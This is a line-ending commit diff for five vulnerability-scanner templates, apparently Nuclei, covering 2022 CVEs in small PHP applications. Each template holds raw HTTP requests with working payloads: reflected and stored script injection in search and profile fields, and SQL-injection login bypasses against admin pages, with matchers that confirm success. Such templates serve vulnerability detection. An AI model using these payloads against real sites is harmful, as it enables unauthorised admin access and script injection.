Fix line endings (#5338)

cves/2022/CVE-2022-29004.yaml

@@ -1,5 +1,5 @@
-id: CVE-2022-29004
-
+id: CVE-2022-29004
+
 info:
   name: Diary Management System v1.0 - Cross-Site scripting
   author: TenBird
@@ -19,35 +19,35 @@ info:
   metadata:
     verified: "true"
   tags: cve,cve2022,xss,authenticated,edms
-requests:
-  - raw:
-      - |
-        POST /edms/login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-
-        logindetail={{username}}&userpassword={{password}}&login=
-
-      - |
-        POST /edms/search-result.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-
-        searchdata=<script>alert(document.domain);</script>
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'Serach Result Against "<script>alert(document.domain);</script>'
-
-      - type: word
-        part: header
-        words:
-          - text/html
-
-      - type: status
-        status:
-          - 200
+requests:
+  - raw:
+      - |
+        POST /edms/login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        logindetail={{username}}&userpassword={{password}}&login=
+
+      - |
+        POST /edms/search-result.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        searchdata=<script>alert(document.domain);</script>
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Serach Result Against "<script>alert(document.domain);</script>'
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200

cves/2022/CVE-2022-29005.yaml

@@ -1,4 +1,4 @@
-id: CVE-2022-29005
+id: CVE-2022-29005
 info:
   name: Online Birth Certificate System V1.2 - Stored Cross-Site scripting
   author: TenBird
@@ -17,34 +17,34 @@ info:
   metadata:
     verified: "true"
   tags: cve,cve2022,xss,obcs,authenticated
-requests:
-  - raw:
-      - |
-        POST /obcs/user/login.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-
-        mobno={{username}}&password={{password}}&login=
-
-      - |
-        POST /obcs/user/profile.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-
-        fname=nuclei%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname=nuclei%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=
-
-      - |
-        GET /obcs/user/dashboard.php HTTP/1.1
-        Host: {{Hostname}}
-
-    req-condition: true
-    redirects: true
-    max-redirects: 2
-    cookie-reuse: true
-    matchers:
-      - type: dsl
-        dsl:
-          - 'contains(all_headers_3, "text/html")'
-          - 'status_code_3 == 200'
-          - contains(body_3, 'admin-name\">nuclei<script>alert(document.domain);</script>')
-        condition: and
+requests:
+  - raw:
+      - |
+        POST /obcs/user/login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        mobno={{username}}&password={{password}}&login=
+
+      - |
+        POST /obcs/user/profile.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        fname=nuclei%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname=nuclei%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=
+
+      - |
+        GET /obcs/user/dashboard.php HTTP/1.1
+        Host: {{Hostname}}
+
+    req-condition: true
+    redirects: true
+    max-redirects: 2
+    cookie-reuse: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(all_headers_3, "text/html")'
+          - 'status_code_3 == 200'
+          - contains(body_3, 'admin-name\">nuclei<script>alert(document.domain);</script>')
+        condition: and

cves/2022/CVE-2022-29006.yaml

@@ -1,5 +1,5 @@
-id: CVE-2022-29006
-
+id: CVE-2022-29006
+
 info:
   name: Directory Management System  1.0 - SQLi Authentication Bypass
   author: TenBird
@@ -18,30 +18,30 @@ info:
   metadata:
     verified: "true"
   tags: cve,cve2022,sqli,auth-bypass,edb
-requests:
-  - raw:
-      - |
-        POST /admin/index.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-
-        username=admin' or '1'='1&password=1&login=login
-
-      - |
-        GET /admin/dashboard.php HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'DMS || Dashboard'
-          - 'DMS Admin'
-          - 'Admin Profile'
-        condition: and
-
-      - type: status
-        status:
-          - 200
+requests:
+  - raw:
+      - |
+        POST /admin/index.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        username=admin' or '1'='1&password=1&login=login
+
+      - |
+        GET /admin/dashboard.php HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'DMS || Dashboard'
+          - 'DMS Admin'
+          - 'Admin Profile'
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2022/CVE-2022-29007.yaml

@@ -1,5 +1,5 @@
-id: CVE-2022-29007
-
+id: CVE-2022-29007
+
 info:
   name: Dairy Farm Shop Management System v1.0 - SQLi Authentication Bypass
   author: TenBird
@@ -18,30 +18,30 @@ info:
   metadata:
     verified: "true"
   tags: cve,cve2022,sqli,auth-bypass,edb
-requests:
-  - raw:
-      - |
-        POST /dfsms/index.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-
-        username=admin' or '1'='1&password=1&login=login
-
-      - |
-        GET /dfsms/add-category.php HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '<title>Add Product</title>'
-          - '<span>Admin'
-          - 'DFSMS'
-        condition: and
-
-      - type: status
-        status:
-          - 200
+requests:
+  - raw:
+      - |
+        POST /dfsms/index.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        username=admin' or '1'='1&password=1&login=login
+
+      - |
+        GET /dfsms/add-category.php HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '<title>Add Product</title>'
+          - '<span>Admin'
+          - 'DFSMS'
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2022/CVE-2022-29009.yaml

@@ -1,5 +1,5 @@
-id: CVE-2022-29009
-
+id: CVE-2022-29009
+
 info:
   name: Cyber Cafe Management System Project v1.0 - SQLi Authentication Bypass
   author: TenBird
@@ -18,29 +18,29 @@ info:
   metadata:
     verified: "true"
   tags: cve2022,sqli,auth-bypass,edb,cve
-requests:
-  - raw:
-      - |
-        POST /ccms/index.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
-
-        username=%27+Or+1--+-&password=1&login=
-
-      - |
-        GET /ccms/dashboard.php HTTP/1.1
-        Host: {{Hostname}}
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'CCMS Admin Dashboard'
-          - 'CCMS ADMIN | Admin'
-        condition: and
-
-      - type: status
-        status:
-          - 200
+requests:
+  - raw:
+      - |
+        POST /ccms/index.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        username=%27+Or+1--+-&password=1&login=
+
+      - |
+        GET /ccms/dashboard.php HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'CCMS Admin Dashboard'
+          - 'CCMS ADMIN | Admin'
+        condition: and
+
+      - type: status
+        status:
+          - 200